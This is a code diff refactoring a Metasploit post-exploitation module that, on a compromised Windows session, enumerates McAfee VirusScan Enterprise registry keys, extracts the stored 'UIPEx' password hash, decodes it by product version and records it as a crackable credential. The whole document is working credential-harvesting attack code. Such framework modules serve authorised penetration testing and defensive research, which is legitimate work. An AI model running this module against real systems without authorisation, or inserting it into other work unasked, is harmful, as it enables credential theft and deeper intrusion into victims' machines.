@@ -13,6 +13,11 @@ class Metasploit3 < Msf::Post
13
13
include Msf ::Auxiliary ::Report
14
14
include Msf ::Post ::Windows ::UserProfiles
15
15
16
+ VERSION_5 = Gem ::Version . new ( '5.0' )
17
+ VERSION_6 = Gem ::Version . new ( '6.0' )
18
+ VERSION_8 = Gem ::Version . new ( '8.0' )
19
+ VERSION_9 = Gem ::Version . new ( '9.0' )
20
+
16
21
def initialize ( info = { } )
17
22
super ( update_info (
18
23
info ,
@@ -32,35 +37,52 @@ def initialize(info = {})
32
37
end
33
38
34
39
def enum_vse_keys
35
- subkeys = [ ]
40
+ vprint_status ( 'Enumerating McAfee VSE installations' )
41
+ keys = [ ]
36
42
[
37
43
'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection' , # 64-bit
38
44
'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit
39
45
] . each do |key |
40
- subkeys |= registry_enumkeys ( key )
46
+ subkeys = registry_enumkeys ( key )
47
+ keys << key unless subkeys . empty?
41
48
end
42
- subkeys . compact
49
+ keys
43
50
end
44
51
45
- def extract_hashes ( keys )
52
+ def extract_hashes_and_versions ( keys )
53
+ vprint_status ( "Attempting to extract hashes from #{ keys . size } McAfee VSE installations" )
54
+ hash_map = { }
46
55
keys . each do |key |
47
56
hash = registry_getvaldata ( key , "UIPEx" )
48
57
if hash . empty?
49
58
vprint_error ( "No McAfee password hash found in #{ key } " )
50
- return
59
+ next
51
60
end
52
61
53
- # Base64 decode mcafee_hash
54
- mcafee_version = registry_getvaldata ( key , "szProductVer" )
55
- if mcafee_version . split ( "." ) [ 0 ] == "8"
56
- mcafee_hash = Rex ::Text . to_hex ( Rex ::Text . decode_base64 ( mcafee_hash ) , "" )
57
- print_good ( "McAfee v8 password hash => #{ mcafee_hash } " )
58
- hashtype = "dynamic_1405"
59
- elsif mcafee_version . split ( "." ) [ 0 ] == "5"
60
- print_good ( "McAfee v5 password hash => #{ mcafee_hash } " )
61
- hashtype = "md5u"
62
+ version = registry_getvaldata ( key , "szProductVer" )
63
+ if version . empty?
64
+ vprint_error ( "No McAfee version key found in #{ key } " )
65
+ next
66
+ end
67
+ hash_map [ hash ] = Gem ::Version . new ( version )
68
+ end
69
+ hash_map
70
+ end
71
+
72
+ def process_hashes_and_versions ( hashes_and_versions )
73
+ hashes_and_versions . each do |hash , version |
74
+ if version >= VERSION_8 && version < VERSION_9
75
+ # Base64 decode hash
76
+ hash = Rex ::Text . to_hex ( Rex ::Text . decode_base64 ( hash ) , "" )
77
+ print_good ( "McAfee v8 password hash: #{ hash } " )
78
+ hashtype = 'dynamic_1405'
79
+ elsif version >= VERSION_5 && version < VERSION_6
80
+ print_good ( "McAfee v5 password hash: #{ hash } " )
81
+ hashtype = 'md5u'
62
82
else
63
- print_status ( "Could not identify the version of McAfee - Assuming v8" )
83
+ print_warning ( "Could not identify the version of McAfee - Assuming v8" )
84
+ print_good ( "McAfee v8 password hash: #{ hash } " )
85
+ hashtype = 'dynamic_1405'
64
86
end
65
87
66
88
# report
@@ -77,7 +99,7 @@ def extract_hashes(keys)
77
99
post_reference_name : refname ,
78
100
origin_type : :session ,
79
101
private_type : :password ,
80
- private_data : mcafee_hash ,
102
+ private_data : hash ,
81
103
session_id : session_db_id ,
82
104
jtr_format : hashtype ,
83
105
workspace_id : myworkspace_id ,
@@ -102,14 +124,19 @@ def extract_hashes(keys)
102
124
end
103
125
104
126
def run
105
- print_status ( "Checking McAfee password hash on #{ sysinfo [ 'Computer' ] } ..." )
127
+ print_status ( "Looking for McAfee password hashes on #{ sysinfo [ 'Computer' ] } ..." )
106
128
107
129
vse_keys = enum_vse_keys
108
130
if vse_keys . empty?
109
- print_error ( "McAfee Virus Scan Enterprise not installed or insufficient permissions" )
131
+ vprint_error ( "McAfee Virus Scan Enterprise not installed or insufficient permissions" )
110
132
return
111
133
end
112
134
113
- extract_hashes ( vse_keys )
135
+ hashes_and_versions = extract_hashes_and_versions ( vse_keys )
136
+ if hashes_and_versions . empty?
137
+ vprint_error ( "No hashes extracted" )
138
+ return
139
+ end
140
+ process_hashes_and_versions ( hashes_and_versions )
114
141
end
115
142
end
0 commit comments